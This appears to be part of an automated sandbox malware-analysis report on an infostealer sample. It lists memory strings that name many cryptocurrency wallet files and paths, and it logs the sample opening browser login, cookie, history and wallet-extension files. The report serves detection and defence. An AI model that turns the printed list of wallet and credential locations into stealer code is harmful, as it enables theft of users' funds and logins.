Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2723107847.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2723107847.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2723107847.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2723107847.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2723107847.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2723107847.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2723107847.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
